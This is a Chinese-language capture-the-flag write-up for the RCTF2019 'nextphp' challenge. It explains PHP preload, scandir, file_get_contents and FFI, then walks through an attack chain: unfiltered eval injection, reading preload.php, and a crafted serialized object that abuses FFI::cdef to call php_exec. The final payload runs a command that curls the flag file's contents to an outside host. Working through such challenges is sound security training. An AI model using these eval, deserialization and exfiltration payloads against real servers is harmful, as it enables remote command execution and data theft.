RCTF2019 next_php

RCTF2019 nextphp

PHP的预加载机制(preload)

PHP7.4版本,加入了预加载功能(preload)

一般PHP代码执行过程如下:

词法、语法分析->编译->加载编译代码->执行

而函数预加载则是发生在加载编译代码时,预加载能够将框架,或者是类库预加载到内存中,以进一步提高性能

因此在preload机制中,php文件中定义的所有函数和大多数类都将永久加载到PHP的函数和类表中,并在将来的任何请求的上下文中永久可用

PHP的scandir()函数

scandir()函数能返回指定目录中的文件和目录的数组

例如:

列出 images 目录中的文件和目录
<?php
$dir = "/images/";

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

print_r($a);
print_r($b);
?>

结果:

Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
Array
(
[0] => myimages
[1] => horse.gif
[2] => dog.gif
[3] => cat.gif
[4] => ..
[5] => .
)

PHP file_get_contents() 函数

file_get_contents()函数把整个文件读入一个字符串中

例:

<?php
echo file_get_contents("test.txt");
?>
结果输出txt内容:
This is a test file with test text.

PHP FFI

对于PHP,FFI提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。

然后,我们需要告诉PHP FFI我们要调用的函数原型是咋样的,这个我们可以使用FFI :: cdef,它的原型是:

FFI :: cdef ([ string $ cdef  =  “”  [, string $ lib  = null ]]): FFI

在字符串$ cdef中,我们可以写C语言函数式申明,FFI会parse它,了解到我们要在字符串$ lib这个库中调用的函数的签名是怎样的

RCTF2019 nextphp

如图

RCTF2019 next_php

eval函数接收a,但是没有对其进行过滤,存在命令执行漏洞

?a=phpinfo+();

RCTF2019 next_php

RCTF2019 next_php

仔细查看phpinfo()文件,里面存在

opcache.preload = /var/www/html/preload.php
FFI support = enabled

预加载,以及FFI。FFI的原理是在php中可以调用c语言中的库,因此可以借助c语言去命令执行

如果我们调用scandir函数扫描根目录

?a=var_dump(scandir('/var/www/html'));

就会出现根目录的文件

RCTF2019 next_php

注意到这里有preload.php文件,我们使用file_get_contents读取

?a=echo file_get_contents('preload.php');
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
		'func' => 'print_r',
		'arg' => '1'
	];

private function run () {
	$this->data['ret'] = $this->data['func']($this->data['arg']);
	}

public function __serialize(): array {
	return $this->data;
	}

public function __unserialize(array $data) {
	array_merge($this->data, $data);
	$this->run();
	}

public function serialize (): string {
	return serialize($this->data);
	}

public function unserialize($payload) 
	{$this->data = unserialize($payload);
	$this->run();
	}

public function __get ($key) {
	return $this->data[$key];
	}

public function __set ($key, $value) {
	throw new \Exception('No implemented');
	}

public function __construct () {
	throw new \Exception('No implemented');
	} 
} 

由于FFI::cdef 不传第二个参数时,可以直接调用 PHP 源码中的函数
构造payload:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => "int php_exec(int type, char *cmd);"
    ];

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __construct () {
    }
}

$a = new A;
echo serialize($a);

最后反序列化执行得到flag

?a=$a=unserialize('C%3a1%3a"A"%3a97%3a{a%3a3%3a{s%3a3%3a"ret"%3bN%3bs%3a4%3a"func"%3bs%3a9%3a"FFI%3a%3acdef"%3bs%3a3%3a"arg"%3bs%3a34%3a"int+php_exec(int+type,+char+*cmd)%3b"%3b}}');var_dump($a->ret->php_exec(2,'curl%20f1sh.site:2333/`cat%20/flag`'));

Reference

*https://blog.csdn.net/qq_41683305/article/details/103439126
*https://blog.csdn.net/qq_41809896/article/details/90384668
*https://www.codercto.com/a/80346.html
*https://www.codercto.com/a/79955.html
*https://my.oschina.net/u/4479011/blog/3214893

上一篇:使用 cffi 接口编译和调用扩展库函数


下一篇:allwefantasy:Rust FFI 实践